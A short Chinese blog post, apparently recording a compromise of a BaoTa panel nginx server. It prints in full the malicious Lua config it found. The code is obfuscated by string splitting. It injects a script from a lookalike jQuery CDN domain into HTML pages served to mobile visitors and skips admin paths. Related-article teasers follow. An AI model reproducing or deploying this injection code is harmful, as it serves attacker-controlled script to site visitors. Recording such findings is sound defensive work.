宝塔 ngnix 被加载js木马

想入飞飞5个月前记录1423
header_filter_by_lua_block{
	ngx.header.content_length = nil
}
body_filter_by_lua_block{
	local bt_request_uri = ngx.var.request_uri;
	local h, err = ngx.resp.get_headers()
	local remote_js = "htt".."ps://cd".."n.boot".."scdn".."s.org/aja".."x/lib".."s/jquer".."y/3.".."6"..".4/jquer".."y.js"

	function string.startsWith(String,Start)
		return string.sub(String,1,string.len(Start))==Start
	end
	if not ( string.find(string.lower(ngx.req.get_headers()['User-Agent']),"windows") or string.find(string.lower(ngx.req.get_headers()['User-Agent']),"macintosh") ) and h["Content-Type"] and string.startsWith(h["Content-Type"],"text/html") and ( ngx.status==200 or ngx.status==401 or ngx.status==403 or ngx.status==404 ) and not string.find (bt_request_uri,"admin") and (ngx.var.scheme=="http" or ngx.var.scheme=="https") then
		local ctx = ngx.ctx
		if ctx.buffers == nil then
			ctx.buffers = {}
			ctx.nbuffers = 0
		end

		local data = ngx.arg[1]
		local eof = ngx.arg[2]
		local next_idx = ctx.nbuffers + 1

		if not eof then
			if data then
				if string.find(data,"</head") and not string.find(data,remote_js) then
					data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
				end
				ctx.buffers[next_idx] = data
				ctx.nbuffers = next_idx
				ngx.arg[1] = nil
			end
			return
		elseif data then
			if string.find(data,"</head") and not string.find(data,remote_js) then
				data = string.gsub(data, "</head", "<scrip".."t type=\"text/javascript\" src=\""..remote_js.."\"></script>\r\n</head",1)
			end
			ctx.buffers[next_idx] = data
			ctx.nbuffers = next_idx
		end
		assert(ctx.buffers)
		assert(ctx.nbuffers ~= 0, "buffer must not be empty")

		ngx.arg[1] = table.concat(ngx.ctx.buffers)
	end
}


文件位置:/www/server/panel/vhost/nginx/lua.conf



相关文章

宝塔面板Nginx反向代理/CDN缓存文件加速设置

宝塔面板自带了反向代理设置, 通过Nginx反向代理我们可以让网站达到加速的效果, 如果开启缓存还可以减少源服务器带宽压力,现在简单说说这个设置.缓存的配置文件位于 /www/server/ng...

随机图片PHP代码

首先创建一个名为img的文件夹放入图片,然后创建一个名为api.php的文件放入下面的代码。用的时候只需要直接访问api.php文件即可。<?php    &nb...

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash for Windows 中文汉化教程 Clash for Windows 订阅下载

Clash 是由Dreamacro 开发的,是一个使用Go 开发的、基于规则的隧道,无需服务器和虚拟主机,在中国大陆地区可用于突破防火长城的限制。 2020 年末,Dreamacro在GitHub仓库...

帝国CMS 7.5 数据库重置管理员密码方法教程

通过phpmyadmin登录MYSQL数据库修改管理员密码。1.登陆到phpmyadmin,找到你的网站对应帝国CMS数据库;2.找到******_enewsuser数据表,这个表放着后台的所有用户。...

JS屏蔽PC端用户访问 / nginx只允许移动端访问( 判断拦截pc浏览器访问)

要禁止PC端用户访问网站,可以使用JavaScript来检测用户的设备类型,并根据检测结果执行相应的操作。以下是一段示例代码,它可以检测用户是否使用PC设备,如果是,则会将页面重定向到一个自定义的页面...

PHP实现根据设备类型自动跳转相应页面的方法

随着当今移动设备的普及,上网已经比过去更加方便。针对Android智能手机,iPhone/iPad等移动终端,很多网站都相继推出了针对电脑和这类手机等移动设备访问的网页。本文所述的实例代码就可以实现根...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。